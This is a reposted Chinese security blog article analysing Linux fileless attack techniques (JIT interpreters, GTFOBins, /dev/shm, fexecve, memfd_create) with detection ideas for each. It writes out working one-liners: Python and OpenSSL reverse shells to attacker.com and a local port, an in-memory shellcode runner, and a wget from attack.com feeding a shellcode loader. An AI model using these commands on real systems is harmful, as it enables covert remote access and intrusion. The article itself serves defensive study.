Linux | 无文件攻击利用分析
2022-12-28 18:32:10 Author: TahirSec(查看原文) 阅读量:47 收藏

无文件攻击(Fileless attack)是一种不向磁盘写入可执行文件的攻击方式。由于没有文件落地,难以被传统的文件扫描方式进行检测。

无文件攻击并不会在目标计算机的硬盘中留下痕迹,而是通过系统的漏洞、文件系统现有的某些功能、受信任的软件、GTFOBins等,直接将恶意代码写入内存或注册表中执行。

由于传统安全解决方案,难以检测到无文件攻击,因此无文件攻击事件正在增加。

  • 基于文件的反病毒检测(AV):基于已知恶意文件的特征码检测。由于无文件攻击没有恶意文件落地,AV没有可检测的特征码。

  • 基于机器学习(ML)的恶意软件检测:由于无文件攻击没有恶意文件落地,ML没有可输入的特征向量,无法动态分析是否存在恶意文件。

  • 基于白名单的检测:包括列出一台机器上所有受信任的白进程,以防止未知进程执行。而无文件攻击可利用,文件系统现有的某些功能、受信任的软件、GTFOBins等,直接将恶意代码写入内存或注册表中执行。天然绕过白名单机制的检测。

  • 基于失陷指标(IOC)的检测:IOC类似于传统的AV签名,因为IOC也是通过分析攻击者已知的恶意文件、基础设施信息等得出失陷指标。由于无文件攻击没有恶意文件落地,没有文件相关的IOC产生。

  • 基于动态沙箱(SandBox)的检测:因为无文件攻击通常会劫持合法进程,大多数沙箱也都会忽略。

        下面分析几种Linux无文件攻击利用方式以及简单检测思路。

1. 利用即时编译器 (JIT)

利用Python、Ruby、Perl和Java 等即时编译器 (JIT),可以实现无文件攻击。

例如,利用 Python 直接执行代码:

python -c 'import sys,socket,os,pty;s=socket.socket();s.connect(("127.0.1.1",12345));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

利用 Python 在内存中执行shellcode:

  • 将libc库加载到 Python 进程中

  • mmap() 一个可写可执行内存用于 shellcode

  • 将 shellcode 复制到新分配的缓冲区中

  • 使缓冲区可调用

  • 并调用缓冲区

原始shellcode被编码成字符串,写入内存,然后使用python的内置ctypes作为C函数执行。

python3 -c 'import ctypes,mmap;shellcode = b"hed \x0b\x814$\x01\x01\x01\x01H\xb8 shellcoPH\xb8rld fromPH\xb8Hello WoPj\x01Xj\x01_j\x1cZH\x89\xe6\x0f\x05XXXX\xc3";mem = mmap.mmap(-1,mmap.PAGESIZE,mmap.MAP_SHARED,mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC,);mem.write(shellcode);addr = int.from_bytes(ctypes.string_at(id(mem) + 16, 8), "little");print(hex(addr));functype = ctypes.CFUNCTYPE(ctypes.c_void_p);fn = functype(addr);fn()'

也可以编码后执行。

检测思路:可以通过检测进程执行的参数来判断是否为危险行为。监控/proc/[pid]/cmdline的内容来检测是否存在该类攻击。也可以通过hook execve系统调用进行监控,然后将相关信息上传云端,由IOA规则对命令行参数进行检测。

2. 利用GTFObins


在Windows系统下,LOLBins已经被使用了很长时间,这类程序通常是操作系统的原生程序,被攻击者滥用以达成攻击者的目的。

在Linux系统下,同样具备这么一类程序,这类程序被统称为GTFObins,GTFObins 项目收集了 Unix 二进制文件的合法功能,这些功能可以被滥用来实现提升特权、传输文件、正反向shell等攻击目的。

例如,基于OpenSSL实现reverse_shell:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodesopenssl s_server -quiet -key key.pem -cert cert.pem -port 12345

      攻击者和目标之间的通信将被加密。

RHOST=attacker.comRPORT=12345mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s

        检测思路:同样监控/proc/[pid]/cmdline的内容来检测是否存在该类攻击。也可以通过hook execve系统调用,从源头进行监控,然后将相关信息上传云端,由IOA规则对命令行参数进行对比分析。

3. 利用shm文件系统


shm/shmfs属于Linux的tmpfs,tmpfs是Linux/Unix系统上的一种基于内存的文件系统。该文件系统挂载于内存而非磁盘,因此基于shm的无文件攻击同样不会在磁盘上留下痕迹。

编译内核时,启用Virtual memory file system support就可以使用tmpfs,Linux Kernel从2.4以后都开始支持tmpfs。目前主流的Linux系统默认已启用tmpfs。

DDEXEC=$(mktemp -p /dev/shm) SHELLCODE=$(mktemp -p /dev/shm); wget -O  -  https://attack.com/ddsc.sh > $DDEXEC; echo 4831c0fec089c7488d3510000000ba0c0000000f054831c089c7b03c0f0548656c6c6f20776f726c640a00 > $SHELLCODE; bash $DDEXEC -x < $SHELLCODE

内存执行的shellcode:

        检测思路:通过shm方式实现的无文件攻击尽管发生在内存中,但是仍然存在一个比较明显的痕迹,在/dev/shm或/run/shm这两个内存文件系统的目录下,仍然存在恶意代码的痕迹,监控shm_open系统调用,配合IOA规则,可以发现恶意行为。

4. 利用fexecve函数


fexecve是glibc 2.3.2之后引入的一个函数,该函数与execve不同的是,execve执行文件的参数是文件的绝对路径,而fexecve执行文件的参数是待执行程序的文件描述符,文件描述符必须以只读模式打开,并且调用者必须具备执行该文件的权限。由于fexecve这一特性,fexecve可以与shm_open和memfd_create系统调用结合起来使用。

fexecve + shm_open执行ls -l /dev/shm/命令:

        使用strace调试fexecve_shm,shm_open 在/dev/shm创建文件,为进程中打开的文件符号链接,这个指向的就是shm_open创建的文件,最后execveat的执行fd为3的文件(/dev/shm/exec),execveat传入的参数为3,从而避免文件路径被监控。

        fexecve + memfd_create执行命令:

        在fexecve的函数源码中,可以发现fexecve的底层系统调用是execve和execveat。

glibc/glibc/sysdeps/unix/sysv/linux/fexecve.c
#include <errno.h>#include <stddef.h>#include <stdio.h>#include <unistd.h>#include <fcntl.h>#include <sys/stat.h>#include <fd_to_filename.h>#include <sysdep.h>#include <sys/syscall.h>#include <kernel-features.h>/* Execute the file FD refers to, overlaying the running program image. ARGV and ENVP are passed to the new program, as for `execve'. */intfexecve (int fd, char *const argv[], char *const envp[]){ if (fd < 0 || argv == NULL || envp == NULL) { __set_errno (EINVAL); return -1; }#ifdef __NR_execveat /* Avoid implicit array coercion in syscall macros. */ INLINE_SYSCALL (execveat, 5, fd, "", &argv[0], &envp[0], AT_EMPTY_PATH);# ifndef __ASSUME_EXECVEAT if (errno != ENOSYS) return -1;# endif#endif#ifndef __ASSUME_EXECVEAT /* We use the /proc filesystem to get the information. If it is not mounted we fail. We do not need the return value. */ struct fd_to_filename filename; __execve (__fd_to_filename (fd, &filename), argv, envp); int save = errno; /* We come here only if the 'execve' call fails. Determine whether /proc is mounted. If not we return ENOSYS. */ struct __stat64_t64 st; if (__stat64_time64 ("/proc/self/fd", &st) != 0 && errno == ENOENT) save = ENOSYS; __set_errno (save);#endif return -1;}

        检测思路:监控execve和execveat系统调用,关联shm_open和memfd_create系统调用,检测上下文

5. 利用memfd_create系统调用


内核开发人员从 Linux 3.17 开始,引入了一个名为 memfd_create() 的新系统调用。它创建一个匿名文件并返回一个引用它的文件描述符。该文件的行为类似于常规文件。它存在于 RAM 中,并在所有对它的引用都被删除时自动释放。

即 Linux 内核提供了一种创建纯内存文件的方法,该文件看起来和感觉起来都像一个普通文件,并且可以被 mmap() /execve() 编辑。该操作不需要root权限就能够使用,并且不会像shm一样在文件系统中留下痕迹。

python -c 'import ctypes, os, urllib2, base64;libc = ctypes.CDLL(None);argv = ctypes.pointer((ctypes.c_char_p * 0)(*[]));syscall = libc.syscall;fexecve = libc.fexecve;content = base64.b64decode("");fd = syscall(319, "", 1);os.write(fd, content);fexecve(fd, argv, argv)'

检测思路:当恶意程序以进程的方式在内存中执行的过程中,可以查看/proc/[pid]/exe或/proc/[pid]/fd是否指向一个memfd来检测这类攻击,也可以查看目录下是否具有指向memfd的文件描述符来判断是否存在这种攻击。

注:此方法只能检测到正在运行的memfd_create无文件恶意程序,一般的EDR对瞬时进程采集存在漏过情况,当memfd_create为瞬时进程时,则很难在/proc/[pid]目录下发现相关痕迹。例如,利用memfd_create的以内存文件形式,远程加载内核模块或者ebpf程序等,产生瞬时进程

利用memfd_create的远程无文件内核模块加载:

利用memfd_create的远程无文件内核模块加载方式,由于是瞬时进程,/proc目录下信息存在时间较短,难以在线检测到痕迹。如果使用ebpf相关技术进行系统信息采集,则可以最大限度避免漏过瞬时进程的检测。

reference

     https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html

https://blog.fbkcs.ru/en/elf-in-memory-execution/

https://gtfobins.github.io/

https://blog.sektor7.net/#!res/2018/pure-in-memory-linux.md


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzNjIwMzM5Nw==&mid=2247485361&idx=1&sn=61305d64ef80bf5c455f7a098710a0b8&chksm=c2a3025bf5d48b4d26538d4bb61775e565758b0e402a61775b8764b09d198c66056dd66a99e6#rd
如有侵权请联系:admin#unsafe.sh